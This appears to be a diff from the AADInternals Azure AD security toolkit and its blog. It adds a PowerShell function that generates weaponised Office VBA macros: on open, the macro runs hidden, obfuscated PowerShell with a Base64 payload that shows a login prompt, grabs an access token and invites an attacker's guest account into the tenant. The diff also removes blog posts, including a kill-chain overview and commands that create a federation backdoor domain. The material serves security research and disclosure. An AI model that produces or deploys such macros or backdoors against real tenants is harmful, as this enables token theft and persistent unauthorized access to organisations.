$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
|
||||
|
||||
# Must be a proper array, so add element if only one provided
|
||||
if($Recipients.Count -eq 1)
|
||||
{
|
||||
$Recipients += ""
|
||||
}
|
||||
|
||||
# Get the settings
|
||||
$teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken
|
||||
$chatService = $teamsSettings.regionGtms.chatService
|
||||
$apiUrl = $teamsSettings.regionGtms.middleTier
|
||||
$skypeToken = $teamsSettings.tokens.SkypeToken
|
||||
|
||||
# Construct the headers
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36"
|
||||
"Authentication" = "skypetoken=$skypeToken"
|
||||
"x-ms-client-version" = "27/1.0.0.2020101241"
|
||||
}
|
||||
|
||||
|
||||
$recipientInfo = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$apiUrl/beta/users/fetch?isMailAddress=true&canBeSmtpAddress=false&enableGuest=true&includeIBBarredUsers=true&skypeTeamsInfo=true" -Headers $headers -Body ([String[]]$Recipients|ConvertTo-Json) -ContentType "application/json"
|
||||
$msgRecipients = $recipientInfo.Value
|
||||
|
||||
return $msgRecipients
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
# This script contains functions for weaponising Office files
|
||||
|
||||
# Aug 6th 2020
|
||||
function Generate-InvitationVBA
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
|
||||
|
||||
The script starts when the Excel workbook is opened:
|
||||
* Opens an Office 365 login window to get an access token
|
||||
* Using the access token, sends an invitation for the given email address
|
||||
|
||||
Copy the generated script to clipboard and paste to Excel
|
||||
|
||||
.Example
|
||||
New-AADIntInvitationVBA -Email someone@gmail.com | Set-ClipBoard
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Email,
|
||||
[Validateset("Workbook","Document")]
|
||||
[String]$Type="Workbook"
|
||||
)
|
||||
Process
|
||||
{
|
||||
#
|
||||
# Generate the PowerShell code block
|
||||
#
|
||||
|
||||
# First some needed assemblies are imported.
|
||||
# Second, a Windows form object is created with a web browser control. The Outlook app id is used.
|
||||
# Third, the login window is shown and access token is fetched
|
||||
# Finally, the invitation for the given user is sent
|
||||
|
||||
$e="`$e=""$Email"";"
|
||||
$code=@'
|
||||
Add-Type -AssemblyName System.Windows.Forms;
|
||||
Add-Type -AssemblyName System.Web;
|
||||
|
||||
$r="https://graph.microsoft.com";
|
||||
$i="d3590ed6-52b3-4102-aeff-aad2292ab01c";
|
||||
$u="urn:ietf:wg:oauth:2.0:oob";
|
||||
$l="https://login.microsoftonline.com/common/oauth2/authorize?resource=$r&client_id=$i&response_type=code&haschrome=1&redirect_uri=$u&client-request-id=$((New-Guid).ToString())&prompt=login&scope=openid profile";
|
||||
|
||||
$f=[Windows.Forms.Form]::new();
|
||||
$f.Width=560;
|
||||
$f.Height=680;
|
||||
$f.FormBorderStyle=3;
|
||||
$f.TopMost=$true;
|
||||
$w=[Windows.Forms.WebBrowser]::new();
|
||||
$w.Size=$f.ClientSize;
|
||||
$w.Anchor="Left,Top,Right,Bottom";
|
||||
$f.Controls.Add($w);
|
||||
$w.add_Navigated({if($_.Url.ToString().StartsWith($u)){$f.DialogResult="OK";$f.Close();};});
|
||||
$w.Navigate($l);
|
||||
if($f.ShowDialog()-ne"OK"){$f.Controls[0].Dispose();return};
|
||||
|
||||
$a=[Web.HttpUtility]::ParseQueryString($f.Controls[0].Url.Query);
|
||||
$b=@{client_id=$i;grant_type="authorization_code";code=$a["code"];redirect_uri=$u};
|
||||
$f.Controls[0].Dispose();
|
||||
|
||||
$c="application/x-www-form-urlencoded";
|
||||
$o=irm -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType $c -Method POST -Body $b;
|
||||
$b="{""invitedUserEmailAddress"":""$e"",""sendInvitationMessage"":true,""inviteRedirectUrl"":""https://myapps.microsoft.com""}";
|
||||
$o=irm -Uri "https://graph.microsoft.com/beta/invitations" -Method Post -Body $b -Headers @{"Authorization"="Bearer $($o.access_token)"};
|
||||
'@
|
||||
# Convert the code block to Unicode and decode it with Base64
|
||||
$unicode=[text.encoding]::Unicode.getBytes("$e$code")
|
||||
$code=[convert]::ToBase64String($unicode)
|
||||
|
||||
#
|
||||
# Create the VBA Code
|
||||
#
|
||||
|
||||
# Generate a random function name
|
||||
$funcName = -join ((97..122) | Get-Random -Count 32 | % {[char]$_})
|
||||
$VBA = @"
|
||||
Private Sub $($Type)_Open()
|
||||
$funcName
|
||||
End Sub
|
||||
|
||||
Sub $funcName()`n
|
||||
"@
|
||||
|
||||
$p = 1
|
||||
|
||||
# Split the Base64 encoded code to shorter chunks
|
||||
While(($p*500) -lt $code.Length)
|
||||
{
|
||||
$codeStr = $($code.Substring(($p-1)*500,500))
|
||||
#$codeStrArr= $codeStr.ToCharArray()
|
||||
#[array]::Reverse($codeStrArr)
|
||||
#$codeStr = -join($codeStrArr)
|
||||
|
||||
$VBA += " i$p = ""$codeStr""`n"
|
||||
$p++
|
||||
}
|
||||
$VBA += " i$p = ""$($code.Substring(($p-1)*500,$code.Length-($p-1)*500))""`n"
|
||||
$VBA += " c1 = Chr(34) & ""pow"" & ""ershel"" & ""l.exe"" & Chr(34)`n"
|
||||
$VBA += " c2 = ""-EncodedCommand """
|
||||
|
||||
for($i=1;$i -lt $p+1 ; $i++)
|
||||
{
|
||||
$VBA += " & i$i"
|
||||
}
|
||||
$VBA += "`n"
|
||||
|
||||
# Set PowerShell to start as hidden
|
||||
$VBA += " c3 = "" -WindowStyle Hidden""`n"
|
||||
|
||||
# Create Wscript.shell object
|
||||
$VBA += " Set s2 = CreateObject(""Ws"" & ""cript"" & "".s"" & ""hell"")`n"
|
||||
|
||||
# Invoke the PowerShell minimized
|
||||
$VBA += " s2.Run c1 & c2 & c3, 2`n"
|
||||
$VBA += "End Sub`n"
|
||||
|
||||
# Return
|
||||
$VBA
|
||||
}
|
||||
}
|
||||
|
||||
function Scramble-Text
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Text,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Secret
|
||||
)
|
||||
Process
|
||||
{
|
||||
$secretArray=$Secret.ToCharArray()
|
||||
$num=0
|
||||
foreach($char in $secretArray)
|
||||
{
|
||||
$num+=$char
|
||||
}
|
||||
$num = $num % 256
|
||||
|
||||
$textArray = $Text.ToCharArray()
|
||||
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -1,6 +0,0 @@
|
||||
---
|
||||
title: "{{ replace .TranslationBaseName "-" " " | title }}"
|
||||
date: {{ .Date }}
|
||||
draft: true
|
||||
---
|
||||
|
||||
@@ -1,44 +0,0 @@
|
||||
baseurl = "http://o365blog.com"
|
||||
title = "Office 365 blog"
|
||||
languageCode = "en-gb"
|
||||
paginate = "20" # Number of posts per page
|
||||
theme = "mainroad"
|
||||
googleAnalytics = "UA-61454000-4" # Optional
|
||||
disqusShortname = "o365blog-com"
|
||||
pygmentsuseclasses = true
|
||||
pygmentsuseclassic = true
|
||||
publishDir = "docs"
|
||||
#sectionPagesMenu = "main"
|
||||
|
||||
[Author] # Used in authorbox
|
||||
name = "Dr Nestori Syynimaa (@DrAzureAD)"
|
||||
bio = "Dr Syynimaa works as Senior Principal Information Security Researcher at Secureworks CTU (Counter Threat Unit). <br> Before moving to his current position, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Azure AD security. <br><br>Dr Syynimaa is Microsoft Certified Expert (Microsoft 365), Microsoft Certified Azure Solutions Architect Expert, Microsoft Certified Trainer, Microsoft MVP (Enterprise Mobility, Identity and Access & Intune), and Microsoft Most Valuable Security Researcher (MVR)."
|
||||
avatar = "images/nestori.jpg"
|
||||
|
||||
[Params]
|
||||
subtitle = "Everything about Microsoft 365 security" # Subtitle of your site. Used in site header
|
||||
description = "The site for Microsoft 365 and Azure AD administrators" # Description of your site. Used in meta description
|
||||
opengraph = true # Enable OpenGraph if true
|
||||
readmore = false # Show "Read more" button in list if true
|
||||
leftsidebar = false # Move sidebar to the left side if true
|
||||
authorbox = true # Show authorbox at bottom of pages if true
|
||||
post_navigation = true # Show post navigation at bottom of pages if true
|
||||
postSections = ["post"] # the section pages to show on home page and the "Recent articles" widget
|
||||
#postSections = ["blog", "news"] # alternative that shows more than one section's pages
|
||||
#dateformat = "2006-01-02" # change the format of dates
|
||||
enableEmoji = true
|
||||
|
||||
[Params.widgets]
|
||||
search = true # Enable "Search" widget
|
||||
recent_articles = true # Enable "Recent articles" widget
|
||||
recent_articles_num = 5 # Set the number of articles in the "Recent articles" widget
|
||||
categories = true # Enable "Categories" widget
|
||||
tags = true # Enable "Tags" widget
|
||||
tags_counter = true # Enable counter for each tag in "Tags" widget (disabled by default)
|
||||
|
||||
# Enable "Social" widget, if any of "social_*" set a value
|
||||
social_twitter = "DrAzureAD"
|
||||
social_linkedin = "nestori"
|
||||
social_email = "nestori.syynimaa@gerenios.com"
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,87 +0,0 @@
|
||||
+++
|
||||
title = "AAD & M365 kill chain"
|
||||
date = "2020-06-14"
|
||||
lastmod = "2021-02-08"
|
||||
menu = "main"
|
||||
categories =["article"]
|
||||
tags = ["Azure Active Directory","Azure","outsider","user","guest","admin","recon","compromise","persistence"]
|
||||
description = "Azure AD and Microsoft 365 kill chain"
|
||||
+++
|
||||
|
||||
<img src="/images/posts/killchain.png" width="1920" height="1080" alt="Azure AD Kill Chain" usemap="#killchain">
|
||||
<map name="killchain">
|
||||
<area coords="0,160,1920,346" title="Outsider" alt="Outsider" href="/post/just-looking/">
|
||||
<area coords="0,347,1920,533" title="Guest" alt="Guest" href="/post/quest_for_guest/">
|
||||
<area coords="0,534,1920,718" title="User" alt="User" href="/post/insider/">
|
||||
<area coords="0,719,1920,893" title="Admin" alt="Admin" href="/post/admin/">
|
||||
<area coords="0,894,1920,1080" title="On-prem admin" alt="On-prem admin" href="/post/on-prem_admin/">
|
||||
</map>
|
||||
|
||||
|
||||
<script type="text/javascript" src="/js/imageMapResizer.min.js"></script>
|
||||
<script type="text/javascript">
|
||||
imageMapResize();
|
||||
</script>
|
||||
|
||||
|
||||
# Introduction
|
||||
According to Verizon's <a href="http://enterprise.verizon.com/resources/reports/2020/2020-data-breach-investigations-report.pdf" target="_blank">Data Breach Investigations Report 2020</a>, externals attackers are considerable more common than internal attackers.
|
||||
In the cloud era, attacking the organisation from the outside is much more difficult, if not impossible. Therefore, to be able to access organisation's data, one must gain some level of legitimate access to the organisation.
|
||||
|
||||
The Azure AD and Microsoft 365 kill chain is a collection of recon techniques and hacking tools I've discovered and built during the last 10+ years while working with Microsoft cloud services.
|
||||
|
||||
# Kill chain roles
|
||||
|
||||
The kill chain consists of five different roles: **outsider**, **guest**, **insider**, **admin**, and **on-prem admin**.
|
||||
Typically, outsiders are aiming for guest, insider, or admin roles. Similarly, guests are aiming for insider or admin roles.
|
||||
Insiders can already do much harm, but to get "keys to the kingdom" they often are aiming for (cloud) admin role. This is same for the on-prem admin.
|
||||
|
||||
<img src="/images/posts/killchain2.png" alt="Azure AD Kill Chain roles">
|
||||
|
||||
|
||||
**Figure 1:** Azure AD Kill Chain roles and target
|
||||
|
||||
Attackers' ultimate goal is to get access to target tenant. The kill chain provides tools for recon to improve targeting the organisation.
|
||||
After gaining the preferred role (out-of-scope of kill chain), the kill chain provides tools for hacking the organisation.
|
||||
|
||||
## Outsider
|
||||
Outsider refers to an user who has no access to the tenant of the target organisation.
|
||||
|
||||
Outsiders can exract information from any tenant using publicly available APIs and DNS queries. See the <a href="/post/just-looking/" target="_blank">blog post</a> for more details.
|
||||
|
||||
The ultimate goal of an outsider is to gain guest, user, or admin role.
|
||||
|
||||
## Guest
|
||||
Guest refers to an user who has guest access (external user) to the target tenant. These users have a restricted access to Azure AD, but they can gather a lot of information from tenant using
|
||||
various APIs provided by Microsoft. For instance, guests can easily read the whole Azure Active Directory (AAD) using <a href="https://docs.microsoft.com/en-us/graph/use-the-api" target="_blank">MS Graph API</a>.
|
||||
|
||||
See the <a href="/post/quest_for_guest/" target="_blank">blog post</a> for more details.
|
||||
|
||||
## User (insider)
|
||||
User refers to "normal" users of the tenant. They have read-only access to practically all information in AAD. However, users are also able to invoke Denial-of-Service (DoS) attacks against their own tenant by filling
|
||||
the Azure AD with user or device objects, making it practically unusable.
|
||||
|
||||
See the <a href="/post/insider/" target="_blank">blog post</a> for more details.
|
||||
|
||||
## Admin
|
||||
Admin refers to a <a href="https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#global-administrator--company-administrator" target="_blank">Global Administrator</a> role.
|
||||
Global admin has an unlimited access to all settings in the tenant. As such, they can change security settings, access any data, and create back doors.
|
||||
|
||||
See the <a href="/post/admin/" target="_blank">blog post</a> for more details.
|
||||
|
||||
## On-prem admin
|
||||
On-prem admin refers to an administrator who is administering on-prem servers running <a href="https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-azure-ad-connect" target="_blank">Azure AD Connect</a>,
|
||||
<a href="https://docs.microsoft.com/en-us/windows-server/identity/active-directory-federation-services" target="_blank">Active Directory Federation Services</a> (AD FS), or Active Directory.
|
||||
|
||||
On-prem admins doesn't have direct access to the cloud, but they can dump Azure AD Connect credentials and gain admin rights to cloud.
|
||||
|
||||
If organisation is using Desktop SSO (also known as <a href="https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso" target="_blank">Seamless SSO</a>), on-prem admin
|
||||
can dump the MD4 hash of AZUREADSSO computer account password and create Kerberos tickets to login as any user of the tenant.
|
||||
|
||||
Similarly, If organisation is using identity federation, on-prem admin can export the token signing certificates and sign in as any user of the tenant and bypass MFA!
|
||||
|
||||
See the <a href="/post/on-prem_admin/" target="_blank">blog post</a> for more details.
|
||||
|
||||
# References
|
||||
* 2020 Verizon <a href="http://enterprise.verizon.com/resources/reports/2020/2020-data-breach-investigations-report.pdf" target="_blank">Data Breach Investigations Report</a>
|
||||
* <a href="https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles" target="_blank">Administrator role permissions in Azure Active Directory</a>
|
||||
@@ -1,70 +0,0 @@
|
||||
+++
|
||||
title = "Links"
|
||||
date = "2017-10-12"
|
||||
lastmod = "2021-11-03"
|
||||
menu = "main"
|
||||
tags = ["Office365"]
|
||||
categories = ["article"]
|
||||
description = "Important links"
|
||||
+++
|
||||
|
||||
This article have all the important links you need to administer Office 365
|
||||
<!--more-->
|
||||
|
||||
# Office 365 PowerShell modules
|
||||
|
||||
Link | Remarks
|
||||
--- | ---
|
||||
<a href="https://www.microsoft.com/en-us/download/details.aspx?id=28177" target="_blank">Microsoft Online Services Sign-In Assistant</a> | Required my the Azure Active Directory PowerShell module.
|
||||
<a href="http://connect.microsoft.com/site1164/Downloads/DownloadDetails.aspx?DownloadID=59185" target="_blank">~~Azure Active Directory PowerShell V1~~</a> ~~module page~~ | Deprecated, installed using <a href="../post/ps-module">PowerShell</a>
|
||||
<a href="http://www.microsoft.com/download/details.aspx?id=35588" target="_blank">SharePoint Online Management Shell</a> |
|
||||
<a href="http://www.microsoft.com/en-us/download/details.aspx?id=39366" target="_blank">Skype for Business, Windows PowerShell Module</a> |
|
||||
<a href="https://www.powershellgallery.com/packages/MicrosoftTeams/" target="_blank">Teams Powershell Beta module</a> |
|
||||
|
||||
# Directory Synchronization
|
||||
|
||||
Link | Remarks
|
||||
--- | ---
|
||||
<a href="https://www.microsoft.com/en-us/download/details.aspx?id=36832" target="_blank">IdFix</a> | Directory Synchronization Error Remediation Tool
|
||||
<a href="https://www.microsoft.com/en-us/download/details.aspx?id=47594" target="_blank">Azure AD Connect 2.x</a> | Microsoft Azure Active Directory Connect (current)
|
||||
<a href="https://www.microsoft.com/en-us/download/details.aspx?id=103336" target="_blank">Azure AD Connect 1.x</a> | Microsoft Azure Active Directory Connect (deprecated on Aug 31 2022)
|
||||
<a href="https://download.msappproxy.net/Subscription/00000000-0000-0000-0000-000000000000/Connector/ptaDownloadConnectorInstaller" target="_blank">Authentication Agent | Pass-through authentication agent
|
||||
<a href="https://download.msappproxy.net/Subscription/00000000-0000-0000-0000-000000000000/Connector/previewProvisioningAgentInstaller" target="_blank">AAD Cloud provisioning Agent | AAD Cloud provisioning Agent (preview)
|
||||
|
||||
|
||||
# Office 365 product information
|
||||
Link | Remarks
|
||||
--- | ---
|
||||
<a href="http://aka.ms/o365sd" target="_blank">Office 365 Service Descriptions</a> |
|
||||
<a href="http://roadmap.office.com" target="_blank">Office 365 Roadmap</a> |
|
||||
<a href="http://products.office.com/en-us/" target="_blank">Office Products</a> | english
|
||||
<a href="http://blogs.office.com" target="_blank">Office Blogs</a> |
|
||||
<a href="http://o365datacentermap.azurewebsites.net/ " target="_blank">Location of Microsoft data centers</a> |
|
||||
|
||||
# Office 365 trials
|
||||
Link | Remarks
|
||||
--- | ---
|
||||
<a href="https://signup.microsoft.com/Signup?OfferId=8368ac6a-5797-4859-b2ec-4d32330277c9&dl=O365_BUSINESS" target="_blank">Office 365 Business</a> | Office applications and OneDrive for organisations < 300 users
|
||||
<a href="https://signup.microsoft.com/Signup?OfferId=467eab54-127b-42d3-b046-3844b860bebf&dl=O365_BUSINESS_PREMIUM" target="_blank">Office 365 Business Premium</a> | Office applications and online services for organisations < 300 users
|
||||
<a href="https://signup.microsoft.com/Signup?OfferId=B07A1127-DE83-4a6d-9F85-2C104BDAE8B4&dl=ENTERPRISEPACK" target="_blank">Office 365 Enterprise E3</a> | Office applications and online services without user limitations
|
||||
<a href="https://signup.microsoft.com/Signup?OfferId=101bde18-5ffb-4d79-a47b-f5b2c62525b3&dl=ENTERPRISEPREMIUM" target="_blank">Office 365 Enterprise E5</a> | All features of E3 plus advanced security, analytics, and voice capabilities
|
||||
<a href="https://products.office.com/en-us/microsoft-teams/free" target="_blank">Microsoft Teams (free)</a> | Free version of Microsoft Teams for up to 300 users
|
||||
|
||||
# Office 365 administration and troubleshooting
|
||||
Link | Remarks
|
||||
--- | ---
|
||||
<a href="http://aka.ms/exrca" target="_blank">Exchange Remote Connectivity Analyzer</a> | Tools to test your DNS configuration, services, etc. outside your organisation
|
||||
<a href="http://aka.ms/exdeploy" target="_blank">Exchange Deployment Assistant</a> | Helps to deploy Exchange depending on your choice (on-prem, hybrid, cloud only)
|
||||
<a href="https://configure.office.com" target="_blank">Office 365 Configuration</a> | Tools and links to setup and configure your Office 365 tenant: diagnostics, troubleshooters, Exchange hybrid product key, etc.
|
||||
<a href="http://blog.jussipalo.com/2013/10/list-of-sharepoint-timezoneid-values.html" target="_blank">SharePoint Timezone IDs</a> | SharePoint Time Zone ID values
|
||||
<a href="https://msdn.microsoft.com/en-us/library/ms912047(v=winembedded.10).aspx" target="_blank">SharePoint Locale IDs</a> | Microsoft Locale ID values
|
||||
<a href="https://www.myo365.site" target="_blank">www.myo365.site</a> | Get a free custom domain for Office 365 / Azure AD
|
||||
|
||||
# Office 365 ProPlus deployment
|
||||
Link | Remarks
|
||||
--- | ---
|
||||
<a href="http://aka.ms/odt" target="_blank">Deploying Office 365 ProPlus</a> | Documentation for deploying Office 365 ProPlus from a local source
|
||||
<a href="http://aka.ms/odt2016" target="_blank">Office 365 ProPlus Deployment Tool</a> | Office 2016 Deployment Tool
|
||||
<a href="https://officedev.github.io/Office-IT-Pro-Deployment-Scripts/XmlEditor.html" target="_blank">Office 365 ProPlus configuration editor</a> | Editor to build XML configuration files for Office 365 ProPlus deployment
|
||||
|
||||
|
||||
@@ -1,210 +0,0 @@
|
||||
+++
|
||||
title = "Deep-dive to Azure Active Directory Identity Federation"
|
||||
date = "2019-06-12"
|
||||
lastmod = "2019-10-30"
|
||||
categories =["blog"]
|
||||
tags = ["Office 365","Azure Active Directory","Identity","Federation","SSO","ADFS"]
|
||||
thumbnail = "/images/posts/aad_deepdive.png"
|
||||
+++
|
||||
|
||||
Identity federation is regarded as the most secure way to authenticate users to Azure AD. In this blog, I’ll deep-dive to identity federation implementation of Azure AD and point out some serious security issues.
|
||||
|
||||
<!--more-->
|
||||
|
||||
|
||||
# Introduction
|
||||
|
||||
## What is Identity Federation
|
||||
|
||||
Identity federation, in general, refers to a situation, where the **service provider (SP)** trusts to identities provided by an **identity provider (IdP)**.
|
||||
Technically, the IdP provides a **security token (ST)** which contains information about the user. ST is signed by IdP using a private key of the agreed-upon certificate.
|
||||
The SP verifies the ST using the public key of the agreed-upon certificate.
|
||||
|
||||
## Protocols
|
||||
|
||||
There are two commonly used federation protocols: **Web Services Federation Language (WS-Federation)** and **Security Assertion Markup Language (SAML)**.
|
||||
WS-Federation is purely a protocol, whereas SAML is both protocol and token type. For instance, Active Directory Federation Services (AD FS) is (by default)
|
||||
using WS-Federation protocol with SAML 1.1 tokens.
|
||||
|
||||
## Authentication flows
|
||||
|
||||
There are two different authentication flows: **SP-initiated** and **IdP-initiated**.
|
||||
|
||||
The typically used **SP-initiated** authentication flow is illustrated in Figure 1. The steps are:
|
||||
|
||||
1. The user tries to access SP using a browser
|
||||
2. SP sends a redirect to the user's browser
|
||||
3. The browser connects IdP and IdP performs an authentication
|
||||
4. After successful authentication, SP creates ST and redirects the browser back to SP
|
||||
5. The browser accesses SP
|
||||
|
||||

|
||||
**Figure 1: SP-initiated authentication flow**
|
||||
|
||||
The **IdP-initiated** authentication flow is illustrated in Figure 2. The steps are:
|
||||
|
||||
1. The user connects to IdP with browser and IdP performs an authentication
|
||||
2. After successful authentication, SP creates ST and redirects the browser back to SP
|
||||
3. The browser accesses SP
|
||||
|
||||

|
||||
**Figure 2: IdP-initiated authentication flow**
|
||||
|
||||
# Azure AD Identity Federation under-the-hood
|
||||
|
||||
The Azure AD authentication flow for federated identities is illustrated in Figure 3.
|
||||
The process is the same for both SP (step 5) and IdP (step 3) initiated authentication flows.
|
||||
|
||||
Azure AD supports two authentication protocols, SAMLP (SAML 2.0) and WSFED (WS-Federation). Next, the steps are explained in more detail.
|
||||
|
||||
|
||||

|
||||
**Figure 3: Azure AD identity federation IdP authentication flow**
|
||||
|
||||
## 1. Check the syntax
|
||||
|
||||
The first step of the authentication flow is to check the syntax of the authentication request.
|
||||
The authentication request is sent to https://login.microsoftonline.com/login.srf using HTTP POST protocol. Required query parameters are listed in the following tables.
|
||||
|
||||
<a href="http://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html" target=_blank">SAMLP</a>:
|
||||
|
||||
Parameter | Description
|
||||
--- | ---
|
||||
RelayState | In SP initiated authentication, this parameter must be resent to SP unmodified. <br>With IdP initiated authentication can be left to empty.
|
||||
SAMLResponse | Base 64 encoded signed SAML2 token.
|
||||
|
||||
<a href="http://docs.oasis-open.org/wsfed/federation/v1.2/cd/ws-federation-1.2-spec-cd-02.html" target=_blank">WSFED</a>:
|
||||
|
||||
Parameter | Description
|
||||
--- | ---
|
||||
wa | This is the required parameter, and it specifies the action to be performed. <br>Must be “wsignin1.0”
|
||||
wctx | This optional parameter is a context value. If set, must be returned with the issued token. <br>In SP initiated authentication this parameter must be resent to SP unmodified.<br>With IdP initiated authentication can be left to empty.
|
||||
wresult | This required parameter specifies the result of the token issuance as signed SAML 1.1 token.
|
||||
|
||||
## 2. Syntax valid?
|
||||
If the syntax is valid the flow proceeds to the next step. If not, one of the following error codes are shown, and the authentication process is terminated.
|
||||
|
||||
<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
|
||||
|
||||
Error code | Message | Description
|
||||
--- | --- | ---
|
||||
AADSTS20012 | WsFedMessageInvalid - There's an issue with your federated Identity Provider. Contact your IDP to resolve this issue. | WSFED: The SAML token xml format was not valid. Missing tags etc.
|
||||
AADSTS90013 | InvalidUserInput - The input from the user is not valid. | WSFED: wresult parameter missing.
|
||||
AADSTS90081 | OrgIdWsFederationMessageInvalid - An error occurred when the service tried to process a WS-Federation message. The message is not valid. | WSFED: wa parameter missing.<br>SAMLP: SAMLResponse parameter missing.
|
||||
|
||||
## 3. Find the federation realm
|
||||
Now the syntax of the authentication request is checked and found to be valid. Next step is to find the federation realm, i.e., the tenant to be authenticated to.
|
||||
|
||||
Based on my research, the domain name is not used at all. Instead, Azure AD has a table of Azure AD federation realms having at least the following attributes.
|
||||
|
||||
Attribute | Description
|
||||
--- | ---
|
||||
Issuer | A string, usually a URI, identifying the IdP. <br><br>The issuer is unique; it can be associated only to one tenant at any given time.
|
||||
Tenant | String (GUID) of the tenant the issuer is associated with. <br> <br>The tenant can have multiple issuers.
|
||||
Signing certificate | A base 64 encoded public key of the signing certificate. <br><br>Not unique, can be associated with multiple tenants and issuers.
|
||||
|
||||
As we already know, the domains registered to Azure AD can be either **Managed** or **Federated**. When a domain is converted to federated, it is also added to the Azure AD Federation realms table.
|
||||
Normally, only validated domains can be used in Azure AD. This means that unless the domain is validated, it cannot be used as a login name or email address.
|
||||
|
||||
However, I discovered a bug in Azure AD, which I reported to Microsoft on November 22nd 2018. **The bug allows using unvalidated domains as backdoors**.
|
||||
I finally got a response from Microsoft on Oct 25th 2019. So, this is also a feature and won't be fixed:
|
||||
|
||||
> Our team had assessed this issue, and this behavior is considered by design. Also, to exploit this, a user needs to have admin privileges.
|
||||
|
||||
|
||||
**Example 1:** Creating a domain and changing the authentication method using MsOnline PowerShell module:
|
||||
{{< highlight powershell >}}
|
||||
# Create a new federated domain
|
||||
New-MsolDomain -Name microsoft.com
|
||||
|
||||
# Save the issuer and login/logoff uri to variables
|
||||
$issuer="http://myissuer/microsoft.com"
|
||||
$uri="http://myissuer"
|
||||
|
||||
# Save the public key to a variable
|
||||
$certificate = "MIIDcTCCAligAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJmaTESMBAGA1UECAwJUGlya2FubWFhMREwDwYDVQQKDAhHZXJlbmlvczEcMBoGA1UEAwwTaGFjay5vMzY1ZG9tYWluLm9yZzAeFw0xODAyMjExMzEyNDVaFw0yODAyMTkxMzEyNDVaMFIxCzAJBgNVBAYTAmZpMRIwEAYDVQQIDAlQaXJrYW5tYWExETAPBgNVBAoMCEdlcmVuaW9zMRwwGgYDVQQDDBNoYWNrLm8zNjVkb21haW4ub3JnMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQIApH73Hcv30uHHve6Zd3E/aEeFgQRMZD/CJUQC2DfSk0mDX8X75MIo7gP+62ZTUsOxhSDdOOVYshK8Kyk9VZvo21A5hDcCudXxc/eifCdwGLalCaOQt8pdMlYJgsBDcieMNToCx2pXp1PvkJdKc2JiXQCIAolJySbNXGJbBG1Oh4tty7lEXUqHpHgqiIJCb64q64BIQpZr/WQG0QgtH/gwWYz7b/psNA4xVi8RJnRUl7I62+j0WVSTih2j3kK20j5OIW9Rk+5XoHJ5npOBM84pYJ6yxMz1sOdSqOccAjSVHWFKdM437PxAPeiXAXoBKczGZ72Q8ocz2YSLGKcSMnYCrhECAwEAAaNQME4wHQYDVR0OBBYEFNu32o5XSIQ0lvwB+d2cnTlrtk2PMB8GA1UdIwQYMBaAFNu32o5XSIQ0lvwB+d2cnTlrtk2PMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQENBQADggECAHokwTra0dlyG5jj08TiHlx1pJFnqlejjpFXaItuk2jEBfO/fv1AJaETSR5vupFfDHA337oPiqWugxai1TIvJGKhZImNloMj8lyeZk/9/5Pt2X4N8r1JpAQzt+Ez3z7aNrAFxRjJ0Y+rDDcSItZ5vaXJ5PqBvR7icjIBaXrHVFUC6OZ2RkebbpajbIdt6U/P7ovg7L1J6LAzL/asATZzM3Mjn+9rsC9xLbJwuEabLU+BxySsNo8TULYi9O2MSJ9FvddE6n3OPqrmldldCrb6OugK/pzCwjTnVgRtrHNJc+zKavbiu0Yfp8uYhvCCWAakdQ8g6ZNJ1TGSaYNIrpTIhXIJ"
|
||||
|
||||
# Set the authentication method
|
||||
Set-MsolDomainAuthentication -DomainName microsoft.com -Authentication Federated -IssuerUri $issuer -LogOffUri $uri -PassiveLogOnUri $uri -SigningCertificate $certificate
|
||||
{{< /highlight>}}
|
||||
|
||||
**Example 2:** Creating a domain and changing the authentication method using <a href="/aadinternals"" target="_blank">AADInternals</a> PowerShell module:
|
||||
{{< highlight powershell >}}
|
||||
# Create a new backdoor
|
||||
New-AADIntBackdoor -DomainName microsoft.com
|
||||
{{< /highlight>}}
|
||||
|
||||
**Output:**
|
||||
```
|
||||
Are you sure to create backdoor with microsoft.com? Type YES to continue or CTRL+C to abort: yes
|
||||
|
||||
Authentication : Managed
|
||||
Capabilities : None
|
||||
IsDefault : false
|
||||
IsInitial : false
|
||||
Name : microsoft.com
|
||||
RootDomain :
|
||||
Status : Unverified
|
||||
VerificationMethod :
|
||||
|
||||
Backdoor created. Domain: microsoft.com, issuer=http://any.sts/B231A11F
|
||||
```
|
||||
|
||||
## 4. Realm found?
|
||||
If the realm was found, the flow proceeds to the next step. If not, the following error is shown.
|
||||
|
||||
